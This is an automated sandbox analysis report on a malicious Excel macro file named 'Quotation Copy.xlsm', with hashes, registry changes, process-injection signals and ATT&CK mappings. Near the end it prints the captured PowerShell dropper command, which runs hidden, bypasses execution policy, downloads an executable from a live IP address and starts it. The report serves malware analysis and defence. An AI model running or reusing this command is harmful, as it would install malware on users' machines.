fdc6d2131103090d0829beb0770dac89bd431833cdd347c0aa464f3b56f7f505

Analysis

max time kernel
69s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
14-03-2023 08:02

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General

Target

Quotation Copy.xlsm
Size

41KB
MD5

986255b8b199fd0eb3dbe0ece696fd32
SHA1

fd526537497165a0c780589d7f4b4bfdec7520ce
SHA256

fdc6d2131103090d0829beb0770dac89bd431833cdd347c0aa464f3b56f7f505
SHA512

f608f2044a04f60e8df6c5c866786febc405e69260bc2a84b2616fb984c3524bc491877369ed98e3073e2a478f84d3639e64f3aa777cb4fd897e10dbc34d4a04
SSDEEP

768:RAxtsvPXnqtHiv+nWl8hqBIJYfTH+niSpQ4FFiKk/f9VwRtp+noiW:mwv/qEv+GG1B1FFi3/VVwTMor

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	872	1724	powershell.exe	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3948302646-268491222-1934009652-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1724 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

872 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 872 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1724 EXCEL.EXE
1724 EXCEL.EXE
1724 EXCEL.EXE

pid	process
1724	EXCEL.EXE

pid	process
872	powershell.exe

description	pid	process
Token: SeDebugPrivilege	872	powershell.exe

pid	process
1724	EXCEL.EXE
1724	EXCEL.EXE
1724	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1724 wrote to memory of 872	1724	EXCEL.EXE	powershell.exe
PID 1724 wrote to memory of 872	1724	EXCEL.EXE	powershell.exe
PID 1724 wrote to memory of 872	1724	EXCEL.EXE	powershell.exe
PID 1724 wrote to memory of 872	1724	EXCEL.EXE	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Quotation Copy.xlsm"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1724

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://192.119.74.208/wp.exe" -OutFile $TempFile; Start-Process $TempFile;
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/872-59-0x0000000002460000-0x00000000024A0000-memory.dmp

Filesize
256KB

Download
memory/1724-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download